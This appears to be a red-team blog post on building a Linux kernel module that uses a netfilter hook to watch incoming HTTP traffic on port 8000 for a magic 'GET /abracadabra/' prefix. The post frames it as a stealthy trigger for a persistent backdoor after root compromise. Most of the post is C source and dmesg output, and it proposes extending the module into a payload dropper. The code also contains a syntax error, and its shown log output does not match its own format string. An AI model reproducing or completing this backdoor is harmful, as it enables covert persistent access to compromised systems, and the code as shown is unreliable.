Kernel module HTTP request sniffing
Tags: defenseevasion, redteam, kernelmodule, c2
Published: 2022-12-02 07:04:14

# Why?

You want to leave a persistent backdoor post-compromise.

# When?

You've root level access to a Linux host that allows kernel module installation (or you can add to a Docker layer), and you can induce HTTP requests to be sent to that host.

# How?

Build a kernel module for yourself that uses a netfilter hook to interrogate incoming TCP packets for your desired trigger condition. Documentation, however, is practically non-existent. To quote libnfnetlink: "Where can I find documentation? At the moment, you will have to RTFS."

This example looks for an HTTP command with a magic prefix. It has no post-trigger behavior defined:

```c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/ip.h>
#include <linux/string.h>

MODULE_LICENSE("MIT");
MODULE_AUTHOR("Anon");

static struct nf_hook_ops *nfho = NULL;

const char *magic_prefix = "GET /abracadabra/";

static unsigned int hfunc(void *priv, struct sk_buff *skb, 
    const struct nf_hook_state *state) {
  struct iphdr *iph;
  unsigned int offset;
  struct tcphdr buffer, *hdr;
  int payload_len;
  unsigned char buffer2[160];
  char *payload;
  int dest_port;
  char *http_command;
  
  if (!skb)
    return NF_ACCEPT;

  iph = ip_hdr(skb);
  if (iph->protocol == IPPROTO_TCP) {
    offset = skb_network_offset(skb) + (iph->ihl << 2);
    hdr = skb_header_pointer(skb, offset, sizeof(buffer), &buffer);
    offset += hdr->doff << 2;

    payload_len = skb->len - offset;
    dest_port = be16_to_cpu(hdr->dest);
    
    if (dest_port == 8000 && payload_len > 0) {
      payload = skb_header_pointer(skb, offset, min(160,payload_len), buffer2);
      http_command = strsep(&payload, "\n");
      if (strncmp(http_command, magic_prefix, strlen(magic_prefix)) == 0) {
        printk(KERN_ALERT "payload matches! %s\n", http_command);
      } else {
        printk(KERN_ALERT "payload does not match: %s\n", http_command);
      }
    }
  }
  
  return NF_ACCEPT;
}

static int __init LKM_init(void) {
  nfho = (struct nf_hook_ops*)kcalloc(1, sizeof(struct nf_hook_ops), GFP_KERNEL);
  
  nfho->hook = (nf_hookfn*)hfunc;
  nfho->hooknum = NF_INET_PRE_ROUTING
  nfho->pf = PF_INET;
  nfho->priority   = NF_IP_PRI_FIRST;
  
  nf_register_net_hook(&init_net, nfho);

  return 0;
}

static void __exit LKM_exit(void) {
  nf_unregister_net_hook(&init_net, nfho);
  kfree(nfho);
}
```

I'm concealing how to compile the module, and there's one obvious section omitted from the code. Not an obstacle to any practitioner.

Install the module, follow dmesg, and then issue curls to a locally running HTTP server on port 8000. Here's two different requests coming in:

```
[1690319.162544] payload does not match! GET /foo/bar HTTP/1.1
[1690335.073880] payload matches! GET /abracadabra/some_interesting_data HTTP/1.1
```

Adding trigger behavior to turn this into a dropper should be very doable. That would be closely related to the previous post: [Using metasploit to stage your own payload](https://dev.to/fx2301/using-metasploit-to-stage-your-own-payloads-52d5).